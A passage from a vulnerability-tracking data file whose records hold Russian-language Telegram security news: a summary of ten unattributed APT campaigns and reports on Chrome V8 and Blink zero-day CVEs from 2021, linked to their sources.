\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Syniverse \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0432\u043e\u0438\u043c IT-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c. \u0412\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u0430\u043a\u0442\u043e\u0440 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u0440\u043e\u043d\u0438\u043a \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0435\u0449\u0435 \u0432 2016\u00a0\u0433\u043e\u0434\u0443. \u0412 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u044f\u0442\u0438 \u043b\u0435\u0442, \u043e\u0441\u0442\u0430\u0432\u0430\u044f\u0441\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u043c\u043e\u0433 \u0443\u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0440\u0435\u0434\u0443 EDT \u0443 235\u00a0\u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0445, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f  \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u043e\u0432 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u0441\u043c\u0441.\n\n9. MagicScroll - \u0441\u043b\u043e\u0436\u043d\u044b\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a, \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0432 2019\u00a0\u0433\u043e\u0434\u0443 Palo Alto. \u042d\u0442\u043e \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0436\u0435\u0440\u0442\u0432\u0430 (\u0438\u0437 \u0420\u043e\u0441\u0441\u0438\u0438) \u0431\u044b\u043b\u0430 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u0430 \u0432 2017\u00a0\u0433\u043e\u0434\u0443. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0433\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d. \u041f\u0435\u0440\u0432\u044b\u0439 \u044d\u0442\u0430\u043f\u00a0- \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0441\u043e\u0437\u0434\u0430\u043d \u043a\u0430\u043a \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0415\u0433\u043e \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 - \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0430 \u043c\u043e\u0434\u0443\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c VirtualBox \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u044f\u0434\u0440\u0430.\n\n10. Metador \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0431\u044b\u043b\u0430 \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 SentinelLabs \u0432 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 2022\u00a0\u0433\u043e\u0434\u0430. \u0410\u0442\u0430\u043a\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u0438 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u044b \u0432 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0411\u043b\u0438\u0436\u043d\u0435\u0433\u043e \u0412\u043e\u0441\u0442\u043e\u043a\u0430 \u0438 \u0410\u0444\u0440\u0438\u043a\u0438. Metador \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0432\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b: metaMain \u0438 Mafalda, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043e\u0431\u043c\u0435\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 \u0438\u043c\u043f\u043b\u0430\u0442\u0430\u0442\u0430\u043c\u0438.", "creation_timestamp": "2022-10-12T09:02:21.000000Z"}, {"uuid": "631c1d06-ba36-4187-9cb7-7844a36e63b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "published-proof-of-concept", "source": "https://t.me/NeKaspersky/737", "content": "Google \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Chrome \u0434\u043b\u044f Windows, Mac \u0438 Linux. \u041f\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c \u0433\u0443\u0433\u043b\u0430 \u0434\u043b\u044f \u044d\u0442\u0438\u0445 \u0431\u0430\u0433\u043e\u0432 \u0443\u0436\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-21220 \u0431\u044b\u043b\u0430 \u0432 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u043e\u0432\u043e\u043c \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8. \u0415\u0435 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430 Pwn2Own-2021. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0420\u0430\u0434\u0436\u0432\u0430\u0440\u0434\u0445\u0430\u043d \u0410\u0433\u0430\u0440\u0432\u0430\u043b \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-21206 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a use-after-free. \u0415\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 Blink. \u0415\u0435 \u043d\u0430\u0448\u0451\u043b \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c. \u041e\u043d\u0430 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442, \u043f\u043e\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442 \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.", "creation_timestamp": "2021-04-15T13:59:21.000000Z"}, {"uuid": "6f968996-402f-4303-b835-ed8be909b05e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "published-proof-of-concept", "source": "https://t.me/D4RKW0R1D/612", "content": "A Bug's Life: CVE-2021-21225\nIn this post, I want to showcase CVE-2021-21225, a vulnerability in V8's Array.prototype.concat implementation that I discovered in April 2021. It was used to gain code execution in Google Chrome's renderer process and won a $22000 bounty from Google which was donated to the EFF (matched by Google)\n\nhttps://tiszka.com/blog/CVE_2021_21225.html", "creation_timestamp": "2021-08-20T18:03:36.000000Z"}, {"uuid": "313661ec-848f-4586-9176-65d9935d43b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/SecLabNews/12832", "content": "\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044f \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u0440\u043e\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u0435\u0442 \u043d\u0430 10 \u0441\u0430\u043c\u044b\u0445 \u0437\u0430\u0433\u0430\u0434\u043e\u0447\u043d\u044b\u0445 APT-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439, \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0431\u0435\u0437 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438.\n\n 1. \u041f\u0440\u043e\u0435\u043a\u0442 TajMahal. \u0421\u043b\u043e\u0436\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u0434\u043b\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 Tokyo \u0438 Yokohama. \u041c\u043e\u0436\u0435\u0442 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0431\u043e\u043b\u0435\u0435 80 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439. TajMahal \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0441\u044f \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 5 \u043b\u0435\u0442 \u0434\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044e.\n\n 2. DarkUniverse\u00a0\u2014 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d APT-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0441 2009 \u043f\u043e 2017\u00a0\u0433\u043e\u0434\u00a0\u0432 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a \u043d\u0430 20 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0441\u043a\u0438\u0445 \u0438 \u0432\u043e\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \u0420\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433 \u0438 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0434\u043b\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430.\n\n 3. PuzzleMaker. \u0412 \u0430\u043f\u0440\u0435\u043b\u0435 2021\u00a0\u0433\u043e\u0434\u0430 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0438\u0437 0-day \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432. \u0414\u043b\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c CVE-2021-21224 \u0432 Google Chrome \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441  CVE-2021-31955 \u0438 CVE-2021-31956. \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u043b\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 PuzzleMaker.\n\n 4. ProjectSauron \u0431\u044b\u043b \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0432 2015. \u042f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0439 APT-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u0418\u0440\u0430\u043d\u0435, \u0420\u0443\u0430\u043d\u0434\u0435. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \n\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u044b. \u0413\u0440\u0443\u043f\u043f\u0430, \u0441\u0442\u043e\u044f\u0449\u0430\u044f \u0437\u0430 ProjectSauron, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u04212-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0441 \u0448\u0438\u0440\u043e\u043a\u0438\u043c \u0440\u044f\u0434\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u0432 \u0421\u0428\u0410 \u0438 \u0415\u0432\u0440\u043e\u043f\u0435. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043e\u043f\u044b\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 APT-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Duqu, Flame, Equation \u0438 Regin.\n\n 5. USB Thief. \u0412 2016\u00a0\u0433\u043e\u0434\u0443 ESET \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 USB-\u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0441 \u0445\u0438\u0442\u0440\u044b\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u0441\u0430\u043c\u043e\u0437\u0430\u0449\u0438\u0442\u044b. \u0417\u043b\u043e\u0432\u0440\u0435\u0434 \u0441\u043e\u0441\u0442\u043e\u044f\u043b \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0434\u0432\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c\u0438, \u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0447\u0435\u0442\u044b\u0440\u0435\u00a0\u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c\u0438. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435, \u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0443 AES-128. \u041a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 USB-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0434\u0438\u0441\u043a\u0430. \u0422\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u00a0\u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0438, \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0444\u0430\u0439\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430. \u0423\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0439 USB-\u0434\u0438\u0441\u043a. \u041c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d \u0441 APT-\u0433\u0440\u0443\u043f\u043f\u043e\u0439 Lamberts.\n\n 6. TENSHO (White Tur). \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 2021\u00a0\u0433\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 PwC \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u0430 \u043e\u0431\u043e\u0440\u043e\u043d\u044b \u0421\u0435\u0440\u0431\u0438\u0438. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0430 \u043f\u0440\u0435\u0436\u0434\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u043e\u0439 TENSHO, \u0438\u043b\u0438 White Tur. \u0413\u0440\u0443\u043f\u043f\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u0441 2017\u00a0\u0433\u043e\u0434\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0435 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438 OpenHardwareMonitor, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 TENSHO \u0432 \u0444\u043e\u0440\u043c\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 PowerShell \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0434\u043b\u044f Windows. \n\n 7.  PlexingEagle. \u041d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 HITBSec 2017 \u0432 \u0410\u043c\u0441\u0442\u0435\u0440\u0434\u0430\u043c\u0435 \u042d\u043c\u043c\u0430\u043d\u0443\u044d\u043b\u044c \u0413\u0430\u0434\u044d (Emmanuel Gadaix) \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u043a\u0440\u0430\u0439\u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430 \u0432 GSM-\u0441\u0435\u0442\u044f\u0445.\n\n 8. SinSono. \u0412 \u043c\u0430\u0435 2021\u00a0\u0433\u043e\u0434\u0430 